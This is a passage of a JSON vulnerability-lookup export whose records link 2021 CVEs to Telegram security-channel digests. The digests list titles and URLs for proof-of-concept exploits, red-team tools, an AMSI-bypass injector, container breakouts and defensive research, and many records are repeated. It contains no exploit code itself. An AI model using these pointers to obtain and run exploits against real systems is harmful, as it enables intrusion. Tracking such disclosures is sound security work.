\n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:45.326370Z"}, {"uuid": "df473cdf-72e6-461e-845d-2cc246c42765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28079", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4726", "content": "exploit\n1. CVE-2021-28079:\nJamovi <=1.6.18 is affected by a cross-site scripting (XSS) vulnerability\nhttps://github.com/g33xter/CVE-2021-28079\n\n2. Silent DOC Exploit for Microsoft Office\nhttps://github.com/attakercyebr/Exploit-doc\n\n3. Ghostscript sandbox bypass (CVE-2021-3781)\nhttps://security.tencent.com/index.php/blog/msg/205\n\nThreat_Research\nContainer Breakouts:\nPart 1 - Access to root directory of the Host\nhttps://blog.nody.cc/posts/container-breakouts-part1\nPart 2 - Privileged Container\nhttps://blog.nody.cc/posts/container-breakouts-part2\nPart 3 - Docker Socket\nhttps://blog.nody.cc/posts/container-breakouts-part3\n\nCloud_Security\nMesh-kridik: performs various security checks\non a Kubernetes cluster\nhttps://github.com/chen-keinan/mesh-kridik#requirements\n\nOffensive_security\nCVE-2021-30920 - CVE-2021-1784 strikes back -\nTCC bypass via mounting\nhttps://theevilbit.github.io/posts/cve_2021_30920", "creation_timestamp": "2026-09-10T15:00:06.226378Z"}, {"uuid": "ad55c386-bdde-4699-ad77-b904866459d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4666", "content": "Threat Research\nUsing Kerberos for Authentication Relay Attacks\nhttps://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html\n\nSuDump: Exploiting suid binaries through the kernel\n(LPE through the sudo program)\nhttps://alephsecurity.com/2021/10/20/sudump\n\nexploit\nCVE-2021-28632, CVE-2021-39840:\nBypassing Locks in Adobe Reader\nhttps://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader\n\nOffensive security\nCobalt Strike: Using Known Private Keys To Decrypt Traffic - Part 1\nhttps://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1\n\n\n\u200e", "creation_timestamp": "2026-09-10T16:00:04.638301Z"}, {"uuid": "98d62b76-bbd3-48d6-85c3-c3a99f9d84ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4040", "content": "exploit\nInteger Overflow to RCE - ManageEngine Asset Explorer Agent (CVE-2021-20082)\ud83d\ude2c\nhttps://medium.com/tenable-techblog/integer-overflow-to-rce-manageengine-asset-explorer-agent-cve-2021-20082-7e54cb2caad5\n\nThreat Research\n1. ThroughTek \"Kalay\" Protocol Vulnerability (CVE-2021-28372)\nhttps://www.fireeye.com/blog/threat-research/2021/08/mandiant-discloses-critical-vulnerability-affecting-iot-devices.html\n\nOffensive security\nExecuting Code In Context Of A Trusted Agent (Part 1) - Windows Defender Antivirus\nhttps://halove23.blogspot.com/2021/08/executing-code-in-context-of-trusted.html?m=1\n]-> PoC:\nhttps://github.com/klinix5/WinDefendInjectPoC", "creation_timestamp": "2026-09-10T22:00:03.315122Z"}, {"uuid": "0e9d4721-bb07-47f1-8727-6780b4ed8fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4236", "content": "Red Team Tactics\n\"Unoriginal-Rice-Patty\" - Replay-based attack on Honda/Acura vehicles\ud83d\ude00\nhttps://github.com/hackingintoyourheart/unoriginal-rice-patty\n\nBlue Team Techniques\n1. Getting the maximum of your C compiler, for security\nhttps://airbus-seclab.github.io/c-compiler-security\n2. Cobalt Strike Beacon configuration extractor and parser\nhttps://github.com/strozfriedberg/cobaltstrike-config-extractor\n\nOffensive security\n1. Deception in Depth - LSASS Injection\nhttps://blog.spookysec.net/DnD-LSASS-Injection\n2. CVE-2021-28663:\nAndroid kernel backdoor vulnerability\nhttps://paper.seebug.org/1690\n// This vulnerability in the ARM Mali GPU driver can help an attacker:\n- steal other APP running memory data;\n- modify other APP code;\n- steal kernel running memory data;\n- stably obtain ROOT permission...\n\nMalware analysis\nPhishing via Open Redirects\ud83e\udd78\nhttps://www.microsoft.com/security/blog/2021/08/26/widespread-credential-phishing-campaign-abuses-open-redirector-links\n\nThreat Research\n1. Exploiting GraphQL\nhttps://blog.assetnote.io/2021/08/29/exploiting-graphql\n]-> GraphQL security auditing \ud83d\udc4d\ud83c\udffdscript:\nhttps://github.com/assetnote/batchql\n2. Operation (Th\u1ee7y Tinh) OceanStorm\nhttps://mp.weixin.qq.com/s/dGW0FrbZZ5UA6KuuZB8J_g", "creation_timestamp": "2026-09-10T22:00:04.687064Z"}, {"uuid": "ed949acc-8121-49fc-a01d-c75f7d3c38ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4014", "content": "ThreatResearch\nVulnerability Analysis in Emissary\n(Distributed P2P Data-driven Workflow Framework)\nhttps://securitylab.github.com/research/NSA-emissary\n\n5G Network Security\n5G Shortcuts allow Evesdropping\nhttps://www.wired.com/story/5g-network-stingray-surveillance-non-standalone\n\nMalware analysis\n1. New AdLoad Campaign Goes Undetected by XProtect\nhttps://labs.sentinelone.com/massive-new-adload-campaign-goes-entirely-undetected-by-apples-xprotect\n2. TA551 Shathak Continues Pushing BazarLoader Leading to Cobalt Strike\nhttps://isc.sans.edu/forums/diary/TA551+Shathak+continues+pushing+BazarLoader+infections+lead+to+Cobalt+Strike/27738\n\nOffensive security\n1. How to Hack APIs in 2021\nhttps://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021\n2. Windows Registry Run Keys\nhttps://labs.jumpsec.com/running-once-running-twice-pwned-windows-registry-run-keys\n\nexploit\nhAFL1 - Our Journey of Fuzzing Hyper-V and Discovering a Critical 0-Day (CVE-2021-28476)\nhttps://www.guardicore.com/labs/hafl1-our-journey-of-fuzzing-hyper-v-and-discovering-a-critical-0-day\n]-> Fuzzer hAFL1:\nhttps://github.com/SB-GC-Labs/hAFL1", "creation_timestamp": "2026-09-10T23:00:05.324032Z"}, {"uuid": "bc2a5904-908f-4f85-be17-be5d1980f452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28903", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3906", "content": "exploit\nPoC for exploiting CVE-2021-28903:\nA stack overflow in libyang <= v1.0.225 can cause a denial of service through function lyxml_parse_mem()\nhttps://github.com/AlAIAL90/CVE-2021-28903\n\nTryhackme: Android Hacking 101 Walkthrough: \nPart 1: https://hacklido.com/blog/264-tryhackme-android-hacking-101-walkthrough-part-1-of-2\nPart 2: https://hacklido.com/blog/266-tryhackme-android-hacking-101-walkthrough-part-2-of-2\n\nBlueTeam Techniques\n1. Cobalt Strike Hunting - simple PCAP and Beacon Analysis\nhttps://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811\n2. Walkthrough of DFIR Madness PCAP\nhttps://www.netresec.com/?page=Blog&month=2021-07&post=Walkthrough-of-DFIR-Madness-PCAP\n\nRed Team Tactics\n1. Bash script will help to hack remote hosts\nhttps://github.com/FabioDefilippo/linuxallremote\n2. JMX enumeration and attacking tool\nhttps://github.com/qtc-de/beanshooter", "creation_timestamp": "2026-09-11T00:00:08.182577Z"}, {"uuid": "b78bca09-d624-456e-83b2-7d64565dc075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4040", "content": "exploit\nInteger Overflow to RCE - ManageEngine Asset Explorer Agent (CVE-2021-20082)\ud83d\ude2c\nhttps://medium.com/tenable-techblog/integer-overflow-to-rce-manageengine-asset-explorer-agent-cve-2021-20082-7e54cb2caad5\n\nThreat Research\n1. ThroughTek \"Kalay\" Protocol Vulnerability (CVE-2021-28372)\nhttps://www.fireeye.com/blog/threat-research/2021/08/mandiant-discloses-critical-vulnerability-affecting-iot-devices.html\n\nOffensive security\nExecuting Code In Context Of A Trusted Agent (Part 1) - Windows Defender Antivirus\nhttps://halove23.blogspot.com/2021/08/executing-code-in-context-of-trusted.html?m=1\n]-> PoC:\nhttps://github.com/klinix5/WinDefendInjectPoC", "creation_timestamp": "2026-09-11T00:00:11.050218Z"}, {"uuid": "31574b04-d9ca-4c61-85f2-a273b9026e83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3920", "content": "Reversing for dummies - x86 assembly and C code (Beginner/ADHD friendly)\nhttps://0x41.cf/reversing/2021/07/21/reversing-x86-and-c-code-for-beginners.html\n\nThreat Research\n1. Zimbra 8.8.15 - Webmail Compromise via Email\ud83d\udc4d\ud83c\udffd\nhttps://blog.sonarsource.com/zimbra-webmail-compromise-via-email\n2. CVE-2021-27077:\nSelecting Bitmaps Into Mismatched Device Contexts\nhttps://www.zerodayinitiative.com/blog/2021/7/26/cve-2021-27077-selecting-bitmaps-into-mismatched-device-contexts\n\nOffensive security\nCobalt Strike BOF - Bypass AMSI in a remote process with code injection\nhttps://github.com/boku7/injectAmsiBypass\n\nCloud Security\nCritical 9.9 Vulnerability In Hyper-V Allowed Attackers To Exploit Azure (CVE-2021-28476)\ud83e\udd74\nhttps://www.guardicore.com/labs/critical-vulnerability-in-hyper-v-allowed-attackers-to-exploit-azure", "creation_timestamp": "2026-09-11T00:00:08.890445Z"}, {"uuid": "4a968b6a-004b-4b2b-adb8-a1b424e345e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4014", "content": "ThreatResearch\nVulnerability Analysis in Emissary\n(Distributed P2P Data-driven Workflow Framework)\nhttps://securitylab.github.com/research/NSA-emissary\n\n5G Network Security\n5G Shortcuts allow Evesdropping\nhttps://www.wired.com/story/5g-network-stingray-surveillance-non-standalone\n\nMalware analysis\n1. New AdLoad Campaign Goes Undetected by XProtect\nhttps://labs.sentinelone.com/massive-new-adload-campaign-goes-entirely-undetected-by-apples-xprotect\n2. TA551 Shathak Continues Pushing BazarLoader Leading to Cobalt Strike\nhttps://isc.sans.edu/forums/diary/TA551+Shathak+continues+pushing+BazarLoader+infections+lead+to+Cobalt+Strike/27738\n\nOffensive security\n1. How to Hack APIs in 2021\nhttps://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021\n2. Windows Registry Run Keys\nhttps://labs.jumpsec.com/running-once-running-twice-pwned-windows-registry-run-keys\n\nexploit\nhAFL1 - Our Journey of Fuzzing Hyper-V and Discovering a Critical 0-Day (CVE-2021-28476)\nhttps://www.guardicore.com/labs/hafl1-our-journey-of-fuzzing-hyper-v-and-discovering-a-critical-0-day\n]-> Fuzzer hAFL1:\nhttps://github.com/SB-GC-Labs/hAFL1", "creation_timestamp": "2026-09-11T00:00:09.903024Z"}, {"uuid": "4182a037-8321-4a8f-bfaa-54ba5545961a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4236", "content": "Red Team Tactics\n\"Unoriginal-Rice-Patty\" - Replay-based attack on Honda/Acura vehicles\ud83d\ude00\nhttps://github.com/hackingintoyourheart/unoriginal-rice-patty\n\nBlue Team Techniques\n1. Getting the maximum of your C compiler, for security\nhttps://airbus-seclab.github.io/c-compiler-security\n2. Cobalt Strike Beacon configuration extractor and parser\nhttps://github.com/strozfriedberg/cobaltstrike-config-extractor\n\nOffensive security\n1. Deception in Depth - LSASS Injection\nhttps://blog.spookysec.net/DnD-LSASS-Injection\n2. CVE-2021-28663:\nAndroid kernel backdoor vulnerability\nhttps://paper.seebug.org/1690\n// This vulnerability in the ARM Mali GPU driver can help an attacker:\n- steal other APP running memory data;\n- modify other APP code;\n- steal kernel running memory data;\n- stably obtain ROOT permission...\n\nMalware analysis\nPhishing via Open Redirects\ud83e\udd78\nhttps://www.microsoft.com/security/blog/2021/08/26/widespread-credential-phishing-campaign-abuses-open-redirector-links\n\nThreat Research\n1. Exploiting GraphQL\nhttps://blog.assetnote.io/2021/08/29/exploiting-graphql\n]-> GraphQL security auditing \ud83d\udc4d\ud83c\udffdscript:\nhttps://github.com/assetnote/batchql\n2. Operation (Th\u1ee7y Tinh) OceanStorm\nhttps://mp.weixin.qq.com/s/dGW0FrbZZ5UA6KuuZB8J_g", "creation_timestamp": "2026-09-11T00:00:11.811698Z"}, {"uuid": "9915a7ec-3e6f-4d27-8efc-1754f6f100b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4666", "content": "Threat Research\nUsing Kerberos for Authentication Relay Attacks\nhttps://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html\n\nSuDump: Exploiting suid binaries through the kernel\n(LPE through the sudo program)\nhttps://alephsecurity.com/2021/10/20/sudump\n\nexploit\nCVE-2021-28632, CVE-2021-39840:\nBypassing Locks in Adobe Reader\nhttps://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader\n\nOffensive security\nCobalt Strike: Using Known Private Keys To Decrypt Traffic - Part 1\nhttps://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1\n\n\n\u200e", "creation_timestamp": "2026-09-11T00:00:33.660103Z"}, {"uuid": "bd8e57a8-21de-455b-8166-5c0a8e14b081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28079", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4726", "content": "exploit\n1. CVE-2021-28079:\nJamovi <=1.6.18 is affected by a cross-site scripting (XSS) vulnerability\nhttps://github.com/g33xter/CVE-2021-28079\n\n2. Silent DOC Exploit for Microsoft Office\nhttps://github.com/attakercyebr/Exploit-doc\n\n3. Ghostscript sandbox bypass (CVE-2021-3781)\nhttps://security.tencent.com/index.php/blog/msg/205\n\nThreat_Research\nContainer Breakouts:\nPart 1 - Access to root directory of the Host\nhttps://blog.nody.cc/posts/container-breakouts-part1\nPart 2 - Privileged Container\nhttps://blog.nody.cc/posts/container-breakouts-part2\nPart 3 - Docker Socket\nhttps://blog.nody.cc/posts/container-breakouts-part3\n\nCloud_Security\nMesh-kridik: performs various security checks\non a Kubernetes cluster\nhttps://github.com/chen-keinan/mesh-kridik#requirements\n\nOffensive_security\nCVE-2021-30920 - CVE-2021-1784 strikes back -\nTCC bypass via mounting\nhttps://theevilbit.github.io/posts/cve_2021_30920", "creation_timestamp": "2026-09-11T00:00:34.934235Z"}, {"uuid": "49216328-ae0b-42fa-8bf4-930be772704a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3694", "content": "Red Team Tactics\n1. Open-Source PE Packer\nhttps://iwantmore.pizza/posts/PEzor4.html\n]-> https://github.com/phra/PEzor\n2. XNU IPC - Mach messages\nhttps://dmcyk.xyz/post/xnu_ipc_i_mach_messages\n3. Avoiding Fork&Run .NET Execution With InlineExecute-Assembly\nhttps://securityintelligence.com/posts/net-execution-inlineexecute-assembly\n]-> Beacon Object File PoC:\nhttps://github.com/xforcered/InlineExecute-Assembly\n\nBlue Team Techniques\nAPI Security Need to Know:\nTop 5 Authentication Pitfalls\nhttps://www.cequence.ai/blog/api-security-need-to-know-top-5-authentication-pitfalls\n\nThreat Research\nCVE-2021-28474:\nSharePoint RCE via Server-Side Control Interpretation Conflict\nhttps://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict\n\nCloud Security\nREST API Fuzz Testing (RAFT):\nSource code for self-hosted service developed for Azure, including the API, orchestration engine, and default set of security tools (including MSR's RESTler), that enables developers to embed security tooling into their CI/CD workflows\nhttps://github.com/microsoft/rest-api-fuzz-testing", "creation_timestamp": "2026-09-11T01:00:04.189677Z"}, {"uuid": "493911eb-5700-4e3f-982b-f96d83907573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3314", "content": "Threat Research\n1. Threats from Readme:\nSuspected years of supply chain attack analysis\nhttps://security.tencent.com/index.php/blog/msg/192\n2. PoC for CVE-2021-28476 a guest-to-host\n\"Hyper-V RCE Vulnerability\" in vmswitch.sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\n\n-", "creation_timestamp": "2026-09-11T05:00:05.228524Z"}, {"uuid": "18f8ef18-9697-4acc-90ff-0521c50b4f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28091", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3331", "content": "Malware analysis\n1. Hex-Rays, GetProcAddress, and Malware Analysis\nhttps://www.msreverseengineering.com/blog/2021/6/1/hex-rays-getprocaddress-and-malware-analysis\n2. Kimsuky APT continues to target South Korean government using AppleSeed backdoor\nhttps://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor\n\nSCADA Security\nMultiple Critical Vulnerabilities in Korenix Technology, Westermo and Pepperl+Fuchs products\nhttps://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-korenix-technology-westermo-pepperl-fuchs\n// Products affected include JetNet 5428G-20SFP, 5810G, 4706F, 4706, 4510, 5010, 5310, 6095\n]-> PoC:\nhttps://packetstormsecurity.com/files/162903/SA-20210601-0.txt\n\nFinding Memory Bugs with Google Address Sanitizer (ASAN) on Microcontrollers\nhttps://mcuoneclipse.com/2021/05/31/finding-memory-bugs-with-google-address-sanitizer-asan-on-microcontrollers\n\nThreat Research\n1. Technical analysis of two RCE in Grav CMS 1.7.10 (CVE-2021-29439, CVE-2021-29440)\nhttps://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n2. Akamai EAA Impersonation Vulnerability\n(PoC for CVE-2021-28091)\nhttps://blogs.akamai.com/2021/06/akamai-eaa-impersonation-vulnerability---a-deep-dive.html\n\nApple ROM/BootROM Collection\nhttp://securerom.fun", "creation_timestamp": "2026-09-11T05:00:05.666374Z"}, {"uuid": "a912f7e8-2ed0-440f-9845-64557a66097d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-11T07:00:03.626602Z"}, {"uuid": "7a28c703-7bd8-4653-9847-7b5d6914b13e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-11T07:00:03.823930Z"}, {"uuid": "92aebe71-5220-4b48-9b11-bfe0d18b0091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-11T07:00:03.928235Z"}, {"uuid": "e6fbf57d-28c6-4fc4-a72a-c5e21b5f1636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-11T07:00:03.992643Z"}, {"uuid": "c1edac2b-b0d1-4e1a-9367-35f7764b7cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-11T07:00:04.095114Z"}, {"uuid": "ff8f10dd-1839-4250-bd4f-a6fba0e2800d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-11T07:00:04.208173Z"}, {"uuid": "795e6484-7ff3-47c2-9276-23c3a58fb776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28312", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3148", "content": "CVE-2021-1815:\nmacOS Local Privilege Escalation Via Preferences (PoC)\nhttps://www.offensive-security.com/offsec/macos-preferences-priv-escalation/?utm_content=165476462&utm_medium=social&utm_source=twitter&hss_channel=tw-134994790\n]-> Compromising the macOS Kernel through Safari by Chaining Six \ud83e\udd2aVulnerabilities (code):\nhttps://github.com/sslab-gatech/pwn2own2020\n\nThreat Research\n1. Data Only Attack:\nNeutralizing EtwTi Provider\nhttps://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider\n2. Unauthorized access to Facebook environment\ud83d\udc4d\ud83c\udffd\nhttps://mvinni.medium.com/workplace-by-facebook-unauthorized-access-to-companies-environment-27-5k-a593a57092f1\n\nexploit\nCVE-2021-28312:\nWindows 10 1809/1909/2004/20H2, Server 2019 - NTFS DoS Vulnerability (PoC)\nhttps://github.com/shubham0d/CVE-2021-28312", "creation_timestamp": "2026-09-11T07:00:04.947453Z"}, {"uuid": 